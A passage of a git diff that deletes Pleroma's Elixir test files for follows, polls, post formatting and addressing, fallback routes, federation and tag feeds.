%{id: ^activity_id, data: %{"state" => "cancelled"}} = - Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) - - assert %{ - data: %{ - "type" => "Undo", - "object" => %{"type" => "Follow", "state" => "cancelled"} - } - } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) - end - - test "cancels a pending follow for a remote user" do - follower = insert(:user) - followed = insert(:user, locked: true, local: false, ap_enabled: true) - - assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = - CommonAPI.follow(follower, followed) - - assert User.get_follow_state(follower, followed) == :follow_pending - assert {:ok, follower} = CommonAPI.unfollow(follower, followed) - assert User.get_follow_state(follower, followed) == nil - - assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = - Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) - - assert %{ - data: %{ - "type" => "Undo", - "object" => %{"type" => "Follow", "state" => "cancelled"} - } - } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) - end - end - - describe "accept_follow_request/2" do - test "after acceptance, it sets all existing pending follow request states to 'accept'" do - user = insert(:user, locked: true) - follower = insert(:user) - follower_two = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) - - assert follow_activity.data["state"] == "pending" - assert follow_activity_two.data["state"] == "pending" - assert follow_activity_three.data["state"] == "pending" - - {:ok, _follower} = CommonAPI.accept_follow_request(follower, user) - - assert Repo.get(Activity, follow_activity.id).data["state"] == "accept" - assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept" - assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" - end - - test "after rejection, it sets all existing pending follow request states to 'reject'" do - user = insert(:user, locked: true) - follower = insert(:user) - follower_two = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) - - assert follow_activity.data["state"] == "pending" - assert follow_activity_two.data["state"] == "pending" - assert follow_activity_three.data["state"] == "pending" - - {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) - - assert Repo.get(Activity, follow_activity.id).data["state"] == "reject" - assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject" - assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" - end - - test "doesn't create a following relationship if the corresponding follow request doesn't exist" do - user = insert(:user, locked: true) - not_follower = insert(:user) - CommonAPI.accept_follow_request(not_follower, user) - - assert Pleroma.FollowingRelationship.following?(not_follower, user) == false - end - end - - describe "vote/3" do - test "does not allow to vote twice" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20} - }) - - object = Object.normalize(activity) - - {:ok, _, object} = CommonAPI.vote(other_user, object, [0]) - - assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1]) - end - end - - describe "listen/2" do - test "returns a valid activity" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 1", - album: "lain radio", - artist: "lain", - length: 180_000 - }) - - object = Object.normalize(activity) - - assert object.data["title"] == "lain radio episode 1" - - assert Visibility.get_visibility(activity) == "public" - end - - test "respects visibility=private" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 1", - album: "lain radio", - artist: "lain", - length: 180_000, - visibility: "private" - }) - - object = Object.normalize(activity) - - assert object.data["title"] == "lain radio episode 1" - - assert Visibility.get_visibility(activity) == "private" - end - end - - describe "get_user/1" do - test "gets user by ap_id" do - user = insert(:user) - assert CommonAPI.get_user(user.ap_id) == user - end - - test "gets user by guessed nickname" do - user = insert(:user, ap_id: "", nickname: "mario@mushroom.kingdom") - assert CommonAPI.get_user("https://mushroom.kingdom/users/mario") == user - end - - test "fallback" do - assert %User{ - name: "", - ap_id: "", - nickname: "erroruser@example.com" - } = CommonAPI.get_user("") - end - end -end diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs deleted file mode 100644 index e67c10b93..000000000 --- a/test/web/common_api/common_api_utils_test.exs +++ /dev/null @@ -1,593 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CommonAPI.UtilsTest do - alias Pleroma.Builders.UserBuilder - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - @public_address "https://www.w3.org/ns/activitystreams#Public" - - describe "add_attachments/2" do - setup do - name = - "Sakura Mana – Turned on by a Senior OL with a Temptating Tight Skirt-s Full Hipline and Panty Shot- Beautiful Thick Thighs- and Erotic Ass- -2015- -- Oppaitime 8-28-2017 6-50-33 PM.png" - - attachment = %{ - "url" => [%{"href" => URI.encode(name)}] - } - - %{name: name, attachment: attachment} - end - - test "it adds attachment links to a given text and attachment set", %{ - name: name, - attachment: attachment - } do - len = 10 - clear_config([Pleroma.Upload, :filename_display_max_length], len) - - expected = - "<br><a href=\"#{URI.encode(name)}\" class='attachment'>#{String.slice(name, 0..len)}…</a>" - - assert Utils.add_attachments("", [attachment]) == expected - end - - test "doesn't truncate file name if config for truncate is set to 0", %{ - name: name, - attachment: attachment - } do - clear_config([Pleroma.Upload, :filename_display_max_length], 0) - - expected = "<br><a href=\"#{URI.encode(name)}\" class='attachment'>#{name}</a>" - - assert Utils.add_attachments("", [attachment]) == expected - end - end - - describe "it confirms the password given is the current users password" do - test "incorrect password given" do - {:ok, user} = UserBuilder.insert() - - assert Utils.confirm_current_password(user, "") == {:error, "Invalid password."} - end - - test "correct password given" do - {:ok, user} = UserBuilder.insert() - assert Utils.confirm_current_password(user, "test") == {:ok, user} - end - end - - describe "format_input/3" do - test "works for bare text/plain" do - text = "hello world!" - expected = "hello world!" - - {output, [], []} = Utils.format_input(text, "text/plain") - - assert output == expected - - text = "hello world!\n\nsecond paragraph!" - expected = "hello world!<br><br>second paragraph!" - - {output, [], []} = Utils.format_input(text, "text/plain") - - assert output == expected - end - - test "works for bare text/html" do - text = "<p>hello world!</p>" - expected = "<p>hello world!</p>" - - {output, [], []} = Utils.format_input(text, "text/html") - - assert output == expected - - text = "<p>hello world!</p><br/>\n<p>second paragraph</p>" - expected = "<p>hello world!</p><br/>\n<p>second paragraph</p>" - - {output, [], []} = Utils.format_input(text, "text/html") - - assert output == expected - end - - test "works for bare text/markdown" do - text = "**hello world**" - expected = "<p><strong>hello world</strong></p>" - - {output, [], []} = Utils.format_input(text, "text/markdown") - - assert output == expected - - text = "**hello world**\n\n*another paragraph*" - expected = "<p><strong>hello world</strong></p><p><em>another paragraph</em></p>" - - {output, [], []} = Utils.format_input(text, "text/markdown") - - assert output == expected - - text = """ - > cool quote - - by someone - """ - - expected = "<blockquote><p>cool quote</p></blockquote><p>by someone</p>" - - {output, [], []} = Utils.format_input(text, "text/markdown") - - assert output == expected - end - - test "works for bare text/bbcode" do - text = "[b]hello world[/b]" - expected = "<strong>hello world</strong>" - - {output, [], []} = Utils.format_input(text, "text/bbcode") - - assert output == expected - - text = "[b]hello world![/b]\n\nsecond paragraph!" - expected = "<strong>hello world!</strong><br><br>second paragraph!" - - {output, [], []} = Utils.format_input(text, "text/bbcode") - - assert output == expected - - text = "[b]hello world![/b]\n\n<strong>second paragraph!</strong>" - - expected = - "<strong>hello world!</strong><br><br><strong>second paragraph!</strong>" - - {output, [], []} = Utils.format_input(text, "text/bbcode") - - assert output == expected - end - - test "works for text/markdown with mentions" do - {:ok, user} = - UserBuilder.insert(%{nickname: "user__test", ap_id: "http://foo.com/user__test"}) - - text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*" - - {output, _, _} = Utils.format_input(text, "text/markdown") - - assert output == - ~s(<p><strong>hello world</strong></p><p><em>another <span class="h-card"><a class="u-url mention" data-user="#{ - user.id - }" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a class="u-url mention" data-user="#{ - user.id - }" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>) - end - end - - describe "context_to_conversation_id" do - test "creates a mapping object" do - conversation_id = Utils.context_to_conversation_id("random context") - object = Object.get_by_ap_id("random context") - - assert conversation_id == object.id - end - - test "returns an existing mapping for an existing object" do - {:ok, object} = Object.context_mapping("random context") |> Repo.insert() - conversation_id = Utils.context_to_conversation_id("random context") - - assert conversation_id == object.id - end - end - - describe "formats date to asctime" do - test "when date is in ISO 8601 format" do - date = DateTime.utc_now() |> DateTime.to_iso8601() - - expected = - date - |> DateTime.from_iso8601() - |> elem(1) - |> Calendar.Strftime.strftime!("%a %b %d %H:%M:%S %z %Y") - - assert Utils.date_to_asctime(date) == expected - end - - test "when date is a binary in wrong format" do - date = DateTime.utc_now() - - expected = "" - - assert capture_log(fn -> - assert Utils.date_to_asctime(date) == expected - end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" - end - - test "when date is a Unix timestamp" do - date = DateTime.utc_now() |> DateTime.to_unix() - - expected = "" - - assert capture_log(fn -> - assert Utils.date_to_asctime(date) == expected - end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" - end - - test "when date is nil" do - expected = "" - - assert capture_log(fn -> - assert Utils.date_to_asctime(nil) == expected - end) =~ "[warn] Date in wrong format, must be ISO 8601" - end - - test "when date is a random string" do - assert capture_log(fn -> - assert Utils.date_to_asctime("foo") == "" - end) =~ "[warn] Date foo in wrong format, must be ISO 8601" - end - end - - describe "get_to_and_cc" do - test "for public posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "public", nil) - - assert length(to) == 2 - assert length(cc) == 1 - - assert @public_address in to - assert mentioned_user.ap_id in to - assert user.follower_address in cc - end - - test "for public posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "public", nil) - - assert length(to) == 3 - assert length(cc) == 1 - - assert @public_address in to - assert mentioned_user.ap_id in to - assert third_user.ap_id in to - assert user.follower_address in cc - end - - test "for unlisted posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "unlisted", nil) - - assert length(to) == 2 - assert length(cc) == 1 - - assert @public_address in cc - assert mentioned_user.ap_id in to - assert user.follower_address in to - end - - test "for unlisted posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "unlisted", nil) - - assert length(to) == 3 - assert length(cc) == 1 - - assert @public_address in cc - assert mentioned_user.ap_id in to - assert third_user.ap_id in to - assert user.follower_address in to - end - - test "for private posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "private", nil) - assert length(to) == 2 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - assert user.follower_address in to - end - - test "for private posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "private", nil) - - assert length(to) == 2 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - assert user.follower_address in to - end - - test "for direct posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "direct", nil) - - assert length(to) == 1 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - end - - test "for direct posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "direct", nil) - - assert length(to) == 1 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - - {:ok, direct_activity} = CommonAPI.post(third_user, %{status: "uguu", visibility: "direct"}) - - {to, cc} = Utils.get_to_and_cc(user, mentions, direct_activity, "direct", nil) - - assert length(to) == 2 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - assert third_user.ap_id in to - end - end - - describe "to_master_date/1" do - test "removes microseconds from date (NaiveDateTime)" do - assert Utils.to_masto_date(~N[2015-01-23 23:50:07.123]) == "2015-01-23T23:50:07.000Z" - end - - test "removes microseconds from date (String)" do - assert Utils.to_masto_date("2015-01-23T23:50:07.123Z") == "2015-01-23T23:50:07.000Z" - end - - test "returns empty string when date invalid" do - assert Utils.to_masto_date("2015-01?23T23:50:07.123Z") == "" - end - end - - describe "conversation_id_to_context/1" do - test "returns id" do - object = insert(:note) - assert Utils.conversation_id_to_context(object.id) == object.data["id"] - end - - test "returns error if object not found" do - assert Utils.conversation_id_to_context("123") == {:error, "No such conversation"} - end - end - - describe "maybe_notify_mentioned_recipients/2" do - test "returns recipients when activity is not `Create`" do - activity = insert(:like_activity) - assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == ["test"] - end - - test "returns recipients from tag" do - user = insert(:user) - - object = - insert(:note, - user: user, - data: %{ - "tag" => [ - %{"type" => "Hashtag"}, - "", - %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} - ] - } - ) - - activity = insert(:note_activity, user: user, note: object) - - assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ - "test", - "https://testing.pleroma.lol/users/lain", - "https://shitposter.club/user/5381" - ] - end - - test "returns recipients when object is map" do - user = insert(:user) - object = insert(:note, user: user) - - activity = - insert(:note_activity, - user: user, - note: object, - data_attrs: %{ - "object" => %{ - "tag" => [ - %{"type" => "Hashtag"}, - "", - %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} - ] - } - } - ) - - Pleroma.Repo.delete(object) - - assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ - "test", - "https://testing.pleroma.lol/users/lain", - "https://shitposter.club/user/5381" - ] - end - - test "returns recipients when object not found" do - user = insert(:user) - object = insert(:note, user: user) - - activity = insert(:note_activity, user: user, note: object) - Pleroma.Repo.delete(object) - - obj_url = activity.data["object"] - - Tesla.Mock.mock(fn - %{method: :get, url: ^obj_url} -> - %Tesla.Env{status: 404, body: ""} - end) - - assert Utils.maybe_notify_mentioned_recipients(["test-test"], activity) == [ - "test-test" - ] - end - end - - describe "attachments_from_ids_descs/2" do - test "returns [] when attachment ids is empty" do - assert Utils.attachments_from_ids_descs([], "{}") == [] - end - - test "returns list attachments with desc" do - object = insert(:note) - desc = Jason.encode!(%{object.id => "test-desc"}) - - assert Utils.attachments_from_ids_descs(["#{object.id}", "34"], desc) == [ - Map.merge(object.data, %{"name" => "test-desc"}) - ] - end - end - - describe "attachments_from_ids/1" do - test "returns attachments with descs" do - object = insert(:note) - desc = Jason.encode!(%{object.id => "test-desc"}) - - assert Utils.attachments_from_ids(%{ - media_ids: ["#{object.id}"], - descriptions: desc - }) == [ - Map.merge(object.data, %{"name" => "test-desc"}) - ] - end - - test "returns attachments without descs" do - object = insert(:note) - assert Utils.attachments_from_ids(%{media_ids: ["#{object.id}"]}) == [object.data] - end - - test "returns [] when not pass media_ids" do - assert Utils.attachments_from_ids(%{}) == [] - end - end - - describe "maybe_add_list_data/3" do - test "adds list params when found user list" do - user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) - - assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == - %{ - additional: %{"bcc" => [list.ap_id], "listMessage" => list.ap_id}, - object: %{"listMessage" => list.ap_id} - } - end - - test "returns original params when list not found" do - user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", insert(:user)) - - assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == - %{additional: %{}, object: %{}} - end - end - - describe "make_note_data/11" do - test "returns note data" do - user = insert(:user) - note = insert(:note) - user2 = insert(:user) - user3 = insert(:user) - - assert Utils.make_note_data( - user.ap_id, - [user2.ap_id], - "2hu", - "<h1>This is :moominmamma: note</h1>", - [], - note.id, - [name: "jimm"], - "test summary", - [user3.ap_id], - false, - %{"custom_tag" => "test"} - ) == %{ - "actor" => user.ap_id, - "attachment" => [], - "cc" => [user3.ap_id], - "content" => "<h1>This is :moominmamma: note</h1>", - "context" => "2hu", - "sensitive" => false, - "summary" => "test summary", - "tag" => ["jimm"], - "to" => [user2.ap_id], - "type" => "Note", - "custom_tag" => "test" - } - end - end - - describe "maybe_add_attachments/3" do - test "returns parsed results when attachment_links is false" do - assert Utils.maybe_add_attachments( - {"test", [], ["tags"]}, - [], - false - ) == {"test", [], ["tags"]} - end - - test "adds attachments to parsed results" do - attachment = %{"url" => [%{"href" => "SakuraPM.png"}]} - - assert Utils.maybe_add_attachments( - {"test", [], ["tags"]}, - [attachment], - true - ) == { - "test<br><a href=\"SakuraPM.png\" class='attachment'>SakuraPM.png</a>", - [], - ["tags"] - } - end - end -end diff --git a/test/web/fallback_test.exs b/test/web/fallback_test.exs deleted file mode 100644 index a65865860..000000000 --- a/test/web/fallback_test.exs +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FallbackTest do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - describe "neither preloaded data nor metadata attached to" do - test "GET /registration/:token", %{conn: conn} do - response = get(conn, "/registration/foo") - - assert html_response(response, 200) =~ "<!--server-generated-meta-->" - end - - test "GET /*path", %{conn: conn} do - assert conn - |> get("/foo") - |> html_response(200) =~ "<!--server-generated-meta-->" - end - end - - describe "preloaded data and metadata attached to" do - test "GET /:maybe_nickname_or_id", %{conn: conn} do - user = insert(:user) - user_missing = get(conn, "/foo") - user_present = get(conn, "/#{user.nickname}") - - assert(html_response(user_missing, 200) =~ "<!--server-generated-meta-->") - refute html_response(user_present, 200) =~ "<!--server-generated-meta-->" - assert html_response(user_present, 200) =~ "initial-results" - end - - test "GET /*path", %{conn: conn} do - assert conn - |> get("/foo") - |> html_response(200) =~ "<!--server-generated-meta-->" - - refute conn - |> get("/foo/bar") - |> html_response(200) =~ "<!--server-generated-meta-->" - end - end - - describe "preloaded data is attached to" do - test "GET /main/public", %{conn: conn} do - public_page = get(conn, "/main/public") - - refute html_response(public_page, 200) =~ "<!--server-generated-meta-->" - assert html_response(public_page, 200) =~ "initial-results" - end - - test "GET /main/all", %{conn: conn} do - public_page = get(conn, "/main/all") - - refute html_response(public_page, 200) =~ "<!--server-generated-meta-->" - assert html_response(public_page, 200) =~ "initial-results" - end - end - - test "GET /api*path", %{conn: conn} do - assert conn - |> get("/api/foo") - |> json_response(404) == %{"error" => "Not implemented"} - end - - test "GET /pleroma/admin -> /pleroma/admin/", %{conn: conn} do - assert redirected_to(get(conn, "/pleroma/admin")) =~ "/pleroma/admin/" - end - - test "OPTIONS /*path", %{conn: conn} do - assert conn - |> options("/foo") - |> response(204) == "" - - assert conn - |> options("/foo/bar") - |> response(204) == "" - end -end diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs deleted file mode 100644 index 592fdccd1..000000000 --- a/test/web/federator_test.exs +++ /dev/null @@ -1,173 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FederatorTest do - alias Pleroma.Instances - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Federator - alias Pleroma.Workers.PublisherWorker - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - import Mock - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - setup do: clear_config([:instance, :allow_relay]) - setup do: clear_config([:mrf, :policies]) - setup do: clear_config([:mrf_keyword]) - - describe "Publish an activity" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - relay_mock = { - Pleroma.Web.ActivityPub.Relay, - [], - [publish: fn _activity -> send(self(), :relay_publish) end] - } - - %{activity: activity, relay_mock: relay_mock} - end - - test "with relays active, it publishes to the relay", %{ - activity: activity, - relay_mock: relay_mock - } do - with_mocks([relay_mock]) do - Federator.publish(activity) - ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) - end - - assert_received :relay_publish - end - - test "with relays deactivated, it does not publish to the relay", %{ - activity: activity, - relay_mock: relay_mock - } do - Pleroma.Config.put([:instance, :allow_relay], false) - - with_mocks([relay_mock]) do - Federator.publish(activity) - ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) - end - - refute_received :relay_publish - end - end - - describe "Targets reachability filtering in `publish`" do - test "it federates only to reachable instances via AP" do - user = insert(:user) - - {inbox1, inbox2} = - {"https://domain.com/users/nick1/inbox", "https://domain2.com/users/nick2/inbox"} - - insert(:user, %{ - local: false, - nickname: "nick1@domain.com", - ap_id: "https://domain.com/users/nick1", - inbox: inbox1, - ap_enabled: true - }) - - insert(:user, %{ - local: false, - nickname: "nick2@domain2.com", - ap_id: "https://domain2.com/users/nick2", - inbox: inbox2, - ap_enabled: true - }) - - dt = NaiveDateTime.utc_now() - Instances.set_unreachable(inbox1, dt) - - Instances.set_consistently_unreachable(URI.parse(inbox2).host) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "HI @nick1@domain.com, @nick2@domain2.com!"}) - - expected_dt = NaiveDateTime.to_iso8601(dt) - - ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) - - assert ObanHelpers.member?( - %{ - "op" => "publish_one", - "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt} - }, - all_enqueued(worker: PublisherWorker) - ) - end - end - - describe "Receive an activity" do - test "successfully processes incoming AP docs with correct origin" do - params = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "http://mastodon.example.org/users/admin", - "type" => "Create", - "id" => "http://mastodon.example.org/users/admin/activities/1", - "object" => %{ - "type" => "Note", - "content" => "hi world!", - "id" => "http://mastodon.example.org/users/admin/objects/1", - "attributedTo" => "http://mastodon.example.org/users/admin" - }, - "to" => ["https://www.w3.org/ns/activitystreams#Public"] - } - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:ok, _activity} = ObanHelpers.perform(job) - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:error, :already_present} = ObanHelpers.perform(job) - end - - test "rejects incoming AP docs with incorrect origin" do - params = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://niu.moe/users/rye", - "type" => "Create", - "id" => "http://mastodon.example.org/users/admin/activities/1", - "object" => %{ - "type" => "Note", - "content" => "hi world!", - "id" => "http://mastodon.example.org/users/admin/objects/1", - "attributedTo" => "http://mastodon.example.org/users/admin" - }, - "to" => ["https://www.w3.org/ns/activitystreams#Public"] - } - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:error, :origin_containment_failed} = ObanHelpers.perform(job) - end - - test "it does not crash if MRF rejects the post" do - Pleroma.Config.put([:mrf_keyword, :reject], ["lain"]) - - Pleroma.Config.put( - [:mrf, :policies], - Pleroma.Web.ActivityPub.MRF.KeywordPolicy - ) - - params = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:error, _} = ObanHelpers.perform(job) - end - end -end diff --git a/test/web/feed/tag_controller_test.exs b/test/web/feed/tag_controller_test.exs deleted file mode 100644 index 868e40965..000000000 --- a/test/web/feed/tag_controller_test.exs +++ /dev/null @@ -1,197 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Feed.TagControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import SweetXml - - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Feed.FeedView - - setup do: clear_config([:feed]) - - test "gets a feed (ATOM)", %{conn: conn} do - Pleroma.Config.put( - [:feed, :post_title], - %{max_length: 25, omission: "..."} - ) - - user = insert(:user) - {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) - - object = Object.normalize(activity1) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) - - {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) - - response = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart.atom")) - |> response(200) - - xml = parse(response) - - assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ - '42 This is :moominmamm...', - 'yeah #PleromaArt' - ] - - assert xpath(xml, ~x"//feed/entry/author/name/text()"ls) == [user.nickname, user.nickname] - assert xpath(xml, ~x"//feed/entry/author/id/text()"ls) == [user.ap_id, user.ap_id] - - conn = - conn - |> put_req_header("accept", "application/atom+xml") - |> get("/tags/pleromaart.atom", %{"max_id" => activity2.id}) - - assert get_resp_header(conn, "content-type") == ["application/atom+xml; charset=utf-8"] - resp = response(conn, 200) - xml = parse(resp) - - assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ - 'yeah #PleromaArt' - ] - end - - test "gets a feed (RSS)", %{conn: conn} do - Pleroma.Config.put( - [:feed, :post_title], - %{max_length: 25, omission: "..."} - ) - - user = insert(:user) - {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) - - object = Object.normalize(activity1) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) - - {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) - - response = - conn - |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) - |> response(200) - - xml = parse(response) - assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//channel/description/text()"s) == - "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." - - assert xpath(xml, ~x"//channel/link/text()") == - '#{Pleroma.Web.base_url()}/tags/pleromaart.rss' - - assert xpath(xml, ~x"//channel/webfeeds:logo/text()") == - '#{Pleroma.Web.base_url()}/static/logo.png' - - assert xpath(xml, ~x"//channel/item/title/text()"l) == [ - '42 This is :moominmamm...', - 'yeah #PleromaArt' - ] - - assert xpath(xml, ~x"//channel/item/pubDate/text()"sl) == [ - FeedView.pub_date(activity2.data["published"]), - FeedView.pub_date(activity1.data["published"]) - ] - - assert xpath(xml, ~x"//channel/item/enclosure/@url"sl) == [ - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4" - ] - - obj1 = Object.normalize(activity1) - obj2 = Object.normalize(activity2) - - assert xpath(xml, ~x"//channel/item/description/text()"sl) == [ - HtmlEntities.decode(FeedView.activity_content(obj2.data)), - HtmlEntities.decode(FeedView.activity_content(obj1.data)) - ] - - response = - conn - |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) - |> response(200) - - xml = parse(response) - assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//channel/description/text()"s) == - "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." - - conn = - conn - |> put_req_header("accept", "application/rss+xml") - |> get("/tags/pleromaart.rss", %{"max_id" => activity2.id}) - - assert get_resp_header(conn, "content-type") == ["application/rss+xml; charset=utf-8"] - resp = response(conn, 200) - xml = parse(resp) - - assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//channel/item/title/text()"l) == [ - 'yeah #PleromaArt' - ] 